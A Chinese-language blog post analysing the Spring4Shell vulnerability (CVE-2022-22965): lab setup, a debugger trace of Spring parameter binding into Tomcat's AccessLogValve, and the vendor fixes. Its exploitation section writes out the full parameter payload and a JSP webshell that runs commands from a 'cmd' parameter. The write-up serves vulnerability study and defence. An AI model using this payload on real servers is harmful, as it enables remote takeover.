Spring 远程命令执行漏洞分析(CVE-2022-22965)
0x00 前言
最近想学习学习spring框架方面的漏洞。刚好今年上半年爆了一个spring框架的远程命令执行漏洞,随即赶紧来分析一波
这个漏洞总的来说是因为:通过spring参数绑定处存在的缺陷使得可以修改tomcat的日志记录相关类AccessLogValve的成员变量从而达到修改tomcat日志记录的配置,最终导致写入jsp马
0x01 环境搭建
jdk 9.0.4
tomcat 8.5.27(8.5.79漏洞测试失败)
spring-beans 5.3.17
spring-boot 2.7.1(内置为spring mvc 5.3.21)
war包部署
首先需要将源码打包成war
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NAXFO5fO-1660473500002)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105600737.png)]](https://img-blog.csdnimg.cn/b234bfdca38a4fbab2a074b8cb6c8c72.png)
此时会在target目录下生成项目的war包
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UhyyTnl6-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105730032.png)]](https://img-blog.csdnimg.cn/515fe8c928f54ea8b70f89559e8f239e.png)
将其放置在tomcat/webapps/下面
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mRZdBV2Y-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105807946.png)]](https://img-blog.csdnimg.cn/e31eec61ba0946bca33a4cace5928044.png)
点击setart.bat启动tomcat此时就会生成对应的目录
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UMKdjXSw-1660473500003)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105851999.png)]](https://img-blog.csdnimg.cn/9767098bd70e46a7b1b6eb4fc37f048c.png)
修改目录名为ROOT使该项目运行在根路径下面
访问项目,正常运行
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yBGkWFEE-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814105934734.png)]](https://img-blog.csdnimg.cn/56d1d1c42575463a9d97791afd2d4304.png)
远程调试
此时我们需要用idea调试war包,怎么做呢
首先给tomcat/bin/catalina.bat前面添加如下代码
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NlKruobX-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110109801.png)]](https://img-blog.csdnimg.cn/8251a926f3784c119c0f377060cd25b4.png)
PS: 此处端口号一定要和idea中配置的端口号一致
启动tomcat
在源码处打开IDEA,点击配置,添加一个remote jvm debug,配置如下,必须与catalina.bat中配置的端口号相同
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YX2Q6v5V-1660473500004)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110223069.png)]](https://img-blog.csdnimg.cn/b17bd6d556184a34b01aed6e8d13f4e0.png)
点击debug,当出现如下显示则说明远程调试搭建成功
在这里打上断点
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sRSUkqNk-1660473500005)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110350901.png)]](https://img-blog.csdnimg.cn/0f331774512e45e89207bf7c1c9c6082.png)
访问/test?username=aaa时成功debug
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n18tBv42-1660473500005)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814110435012.png)]](https://img-blog.csdnimg.cn/de11c47eb98243c1aec965628c2f021a.png)
参考:https://blog.csdn.net/qq_38217294/article/details/121769266
0x02 漏洞利用
我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
发送带有webshell的请求,此处使用header头是因为%>这种的字符放在请求参数中可能存在bug
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pKIaYzdJ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814161726760.png)]](https://img-blog.csdnimg.cn/d5dd8c6b9eff49daa44a9cef00d57763.png)
其中
class.module.classLoader.resources.context.parent.pipeline.first.pattern
的值为
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
PS:
AccessLogValve
输出的日志中可以通过形如
%{xxx}i
等形式直接引用HTTP请求和响应中的内容
最终会在网站根目录webapps/ROOT下写入tomcatwar.jsp
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rcDsCIcQ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814162212383.png)]](https://img-blog.csdnimg.cn/f1eacb74f37e45c5b483c1e5e3a6f853.png)
访问/tomcatwar.jsp?pwd=j&cmd=whoami,成功getshell
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1es8JGOQ-1660473500006)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814162403318.png)]](https://img-blog.csdnimg.cn/1dbfe543b5d34253b760a69589784e2f.png)
POC:
0x03 漏洞分析
spring从http请求中自动解析变量,并赋值给user对象,这就是Spring的参数绑定
参数绑定支持多层嵌套,比如请求参数名为a.b.c.d时,则有以下的调用链:
User.geta()
a.getb()
b.getc()
c.setd()
具体spring是如何进行参数绑定的可以跟一下这篇文章,写的很详细
https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
这里我大概讲一下
首先说一下入口,tomcat处理好request对象后交给spring的DispatcherServlet#doDispatch方法
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ryOKndzw-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163709086.png)]](https://img-blog.csdnimg.cn/dae354c5f3f742eb9367a1f21acbe5ea.png)
跟入ha.handle,这里一路跟下去到dobind开始讲解,中间的部分可以参考https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jlTtFEZ-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163441050.png)]](https://img-blog.csdnimg.cn/5742ff9e98584a70908e4642b101324c.png)
来到doBind后可以看到mpvs中包含了请求的参数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o6HdE7UC-1660473500007)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163818603.png)]](https://img-blog.csdnimg.cn/0ddfce2becf04f73afd73370f6ac781b.png)
跟进后,可以看到applyPropertyValues,大概能猜到在这里进行参数的赋值
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5eLr7Mf7-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814163942969.png)]](https://img-blog.csdnimg.cn/d62390836b28493d9f2f3b29cf55168f.png)
跟进applyPropertyValues,可以看到this.getPropertyAccessor()是User的包装类,然后调用setPropertyValues给User赋值
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lMBA9zhi-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814164043634.png)]](https://img-blog.csdnimg.cn/c9b56a8deee94a158c648fff96c410a8.png)
跟进setPropertyValues,可以看到对propertyValues进行遍历(这里的propertyValues就是之前那个mpvs),对每一个PropertyValue进行参数绑定
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qzFPGGac-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814164404935.png)]](https://img-blog.csdnimg.cn/42043078952244d295a115804c0cdec2.png)
跟入setPropertyValue,这个函数非常关键,这个getPropertyAccessorForPropertyPath就是获取参数key表示的最终包装类。
比如参数key为class.module.classLoader.resources.context.parent.pipeline.first.directory。则这里的nestPa就是getfirst()返回值即Accesslogvalve的包装类,然后调用其setPropertyValue给directory赋值
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mMOvHapO-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814165844794.png)]](https://img-blog.csdnimg.cn/31a8198b00af47d3b5000e9a77b1e5f6.png)
getPropertyAccessorForPropertyPath
这里我们跟进getPropertyAccessorForPropertyPath看看它到底是怎么做的,此时传入的propertyName为
class.module.classLoader.resources.context.parent.pipeline.first.directory
这里也可以参考麦兜师傅的文章:https://paper.seebug.org/1877/#_3
getPropertyAccessorForPropertyPath(String):该方法通过递归调用自身,实现对
class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H11JmrSv-1660473500008)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814170303836.png)]](https://img-blog.csdnimg.cn/7b8d384290f14a6a8ca9988bd12696dd.png)
跟进后,首先计算第一个.出现的位置,这里计算出来是5,然后按点分割。此时nestedProperty为class,nestedPath为module.classLoader.resources.context.parent.pipeline.first.directory。注意这里的this为user的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-t3C7X5YL-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814170449168.png)]](https://img-blog.csdnimg.cn/e092c6e3bf25496f8b0a75e14e808270.png)
然后在getNestedPropertyAccessor方法,这个方法会返回class的包装类,跟进去看一下
跟进getPropertyValue,其中tokens在是nestedProperty的格式化效验,也就是参数中的id
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qzMog2FK-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171105167.png)]](https://img-blog.csdnimg.cn/8ea0c29680b242baa1a64b896dc602e6.png)
跟进getLocalPropertyHandler
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UmZLhooI-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171137624.png)]](https://img-blog.csdnimg.cn/c3f61d23a8d44f22b391ae4f3b098c70.png)
this为user的包装类,这里可以理解为获取user类的class成员变量的属性描述器,里面有属性的get/set方法,可以对该属性进行一些修改操作
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bX9d43Ts-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171507852.png)]](https://img-blog.csdnimg.cn/80a082a150984a9db60c096a6c6a5fe2.png)
然后对其包装一下并返回给ph,回到上层来到ph.getValue
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UUC3NeA1-1660473500009)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171628865.png)]](https://img-blog.csdnimg.cn/e6d8f490e0854504858b3407e53aa097.png)
跟入getValue,来到了最后的地方了。class的包装类获取自己的get函数然后反射调用从而达到获取class对象
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yORfIHnI-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814171922247.png)]](https://img-blog.csdnimg.cn/505a0d93e4814f309319daff1ffee271.png)
回到上一层,此时我们有了class对象了,然后return回去
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8xp8BpA8-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172408365.png)]](https://img-blog.csdnimg.cn/75ab9cd51e5a4b26baeef7a6f962b9c3.png)
回到上一层,给class对象包装一下继续返回
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wv3eFYbr-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172516287.png)]](https://img-blog.csdnimg.cn/ca831564e0d745d38360114dee4b58eb.png)
回到了刚开始的地方,这里的nestedPa就是class对象的包装类。然后调用nestedPa.getPropertyAccessorForPropertyPath,再次进入该函数,但是此时this就变成了class对象的包装类而不是user对象了。寻找下一个点然后分割字符串
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TyeN36qj-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172655423.png)]](https://img-blog.csdnimg.cn/26d32fc31583484f8133039a3be56ce8.png)
此时getNestedPropertyAccessor就是为了获取module的包装类了,和上面的步骤一样先获取class中module的属性描述符然后从中拿到module的getter方法,反射调用getter最终获得module对象然后包装一下返回给nestedPa。可以看到nestedPa是module的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cdK0VCYw-1660473500010)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814172758920.png)]](https://img-blog.csdnimg.cn/7f80d94892ec4641b9802638f40a7fe1.png)
再调用getPropertyAccessorForPropertyPath方法,就获取到了classloder的包装类。
注意这里的classloader实际上是parallelwebappclassloader,只有在war包部署的情况下才会返回的是parallelwebappclassloader
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eTHtFAf6-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173014425.png)]](https://img-blog.csdnimg.cn/684cb558b947473fa2f1924edc8fb37e.png)
这里也是跳向tomcat的关键,module对象是java.lang包下的,而parallelwebappclassloader是tomcat-embed-core包下的。实现了从spring跳向了tomcat,接下来就是一步步获取tomcat内置的Accesslogvalve类
class.module.classLoader.resources.context.parent.pipeline.first.directory
我们现在走到了classloder这一步,接下来继续调用getPropertyAccessorForPropertyPath获取resource,this.getNestedPropertyAccessor也就是执行parallelwebappclassloader#getresources
可以看到拿到了standroot的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iZRhhG1R-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173835727.png)]](https://img-blog.csdnimg.cn/9782cbdc3430473bbedbbf303e9e5898.png)
继续getPropertyAccessorForPropertyPath,等同于standroot#getcontext,获得standcontext的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MpvzZ84x-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814173921447.png)]](https://img-blog.csdnimg.cn/471feab7b57c4bf6baf77c04ee710274.png)
继续getPropertyAccessorForPropertyPath,等同于standcontext#getparent,获得standHost的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ql2wK5uW-1660473500011)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174024861.png)]](https://img-blog.csdnimg.cn/067cec989d6d45cd97275d34aaba3d84.png)
继续getPropertyAccessorForPropertyPath,等同于standHost#getpipeline,获得standpipeline的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ook3zpQ7-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174120832.png)]](https://img-blog.csdnimg.cn/8ec5475156a5470eb90b5c5da4208052.png)
继续getPropertyAccessorForPropertyPath,等同于standpipeline#getfirst,终于拿到了Accesslogvalve的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6cQ4gl6k-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174210103.png)]](https://img-blog.csdnimg.cn/9a0d3db3bf35441b888bec9780729df1.png)
继续getPropertyAccessorForPropertyPath,因为字符串已经没点了,所以进入else分支返回Accesslogvalve的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yj9aVWLO-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174338743.png)]](https://img-blog.csdnimg.cn/363eb360b9d34f98a8b2acf5d83de6b5.png)
一路返回回去,回到setPropertyValue,此时nestedPa就是Accesslogvalve的包装类
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HUBYrViN-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174538322.png)]](https://img-blog.csdnimg.cn/5414c43ae4bb43de914c47ea570d0cad.png)
setPropertyValue
此时利用Accesslogvalve包装类的setPropertyValue赋值
其中pv如下,这样就使得Accesslogvalve对象的directory值变为了webapps/ROOT
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-56gPElab-1660473500012)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814174631395.png)]](https://img-blog.csdnimg.cn/0f1e72b0a9404803b7c1ebae6311b1db.png)
同样的发送
class.module.classLoader.resources.context.parent.pipeline.first.pattern
=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
时就会让Accesslogvalve对象的pattern值变为参数的value,其中%{c2}i 会从header中取出对应的并替换这里
总结
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
按照上述调试方法,依次调试完所有的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:
User.getClass()//Classjava.lang.Class.getModule()//modulejava.lang.Module.getClassLoader()//parallelwebappclassloaderorg.apache.catalina.loader.ParallelWebappClassLoader.getResources()//standRootorg.apache.catalina.webresources.StandardRoot.getContext()//standContextorg.apache.catalina.core.StandardContext.getParent()//standHostorg.apache.catalina.core.StandardHost.getPipeline()//standPipelineorg.apache.catalina.core.StandardPipeline.getFirst()//AccessLogValveorg.apache.catalina.valves.AccessLogValve.setPattern()
正如漏洞利用那块所说
我们需要传入五个参数分别达到修改日志的目录、前缀、后缀、日期格式(即文件名前缀后面那部分)和日志格式
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
class.module.classLoader.resources.context.parent.pipeline.first.pattern=此处为webshell内容
这样就可以使得tomcat的日志输出内容为我们定制的webshell并且日志后缀为jsp并且文件名为tomcatwar并且保存在网站根目录下
0x04 利用关键点
Web应用部署方式
必须要是以war包的部署方式
ParallelWebappClassLoader
在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下
classLoader
嵌套参数被解析为什么,如下图:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XC0y5JQn-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814175933456.png)]](https://img-blog.csdnimg.cn/355660baa1b94f389b8ae0fca0c2e41f.png)
这个并不是我们想要的classloder,其没有getResources方法
JDK版本
必须得是jdk 9以上的版本,因为在jdk9以下的版本中Class并没有module属性。从而无法获取classloder对象
但是还可以通过class.getclassloder获取classloder对象呀,为什么要用class.module.classloder而不用class.classloder呢?
因为在spring做了安全保护,不允许获得class的classloder属性描述器,从而就无法反射调用getclassloder获取classloder对象
在JDK 1.9之后,Java为了支持模块化,在
java.lang.Class
中增加了
module
属性和对应的
getModule()
方法,自然就能通过如下调用链绕过判断:
user.getClass()
java.lang.Class.getModule()
java.lang.Module.getClassLoader() // 绕过
BarClassLoader.getBaz()
......
这块麦兜师傅说的很清楚了:https://paper.seebug.org/1877/#_4
0x05 修复措施
Spring 5.3.18修复
可以看到在获取对象的属性描述符时更改了判断逻辑。现在是获取Class对象的属性描述器时只能获取到name和以Name结尾的属性的属性描述器了,所以说就获取不到module的属性描述器了,从而无法getmodule。利用
java.lang.Class.getModule()
的路子就走不通了。
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J0GT6BHo-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814181407764.png)]](https://img-blog.csdnimg.cn/8a8901a5cb91429bb6ebc937e3153deb.png)
Tomcat 9.0.62修复
将ParallelWebappClassLoader父类WebappClassLoaderBase的getResource方法修改为直接返回null
堵住了class.module.classLoader.resources
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PoYJeOo1-1660473500013)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220814181721359.png)]](https://img-blog.csdnimg.cn/f14758c3c1db4d8faf4ce828d0d54370.png)
0x06 总结
总的来说就是spring在进行参数绑定时支持嵌套绑定,使得形如class.module.classLoader.resources.context.parent.pipeline.first.pattern这样的参数可以穿越修改AccessLogvlave的pattern属性,从而导致tomcat的日志配置被修改。通过该方式修改日志的内容以及文件名达到写马的目的
- 明白spring参数绑定的流程,主要在getPropertyAccessorForPropertyPath和setPropertyValue
举个例子:对于class.module.classLoader.resources.context.parent.pipeline.first.pattern = xxxx
在getPropertyAccessorForPropertyPath中可以理解为首先从user中获取class的属性描述器,然后从属性描述器中获取getclass方法然后反射调用user#getclass获取class对象。然后从class中获取module的属性描述器,然后从属性描述器中获取getmodule方法然后反射调用class#getmodule获取module对象。然后从module中获取classLoader的属性描述器,然后从属性描述器中获取getclassLoader方法然后反射调用module#getclassLoader获取classLoader对象。。。。。。。。。。最终反射调用standpipeline#getfirst获取AccessLog对象
然后调用AccessLog对象包装类的setPropertyValue方法设置AccessLog.pattern的值为xxxx
- 在此基础上可以很容易理解payload是如何修改AccessLogvlave属性值的
0x07 参考文章
https://blog.ninefiger.top/2022/04/02/Spring%20Framework%20RCE%E5%88%86%E6%9E%90/
https://www.kingkk.com/2022/04/CVE-2022-22965-SpringFramework-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://www.anquanke.com/post/id/272149
https://tttang.com/archive/1532/
https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging
版权归原作者 浔阳江头夜送客丶 所有, 如有侵权,请联系我们删除。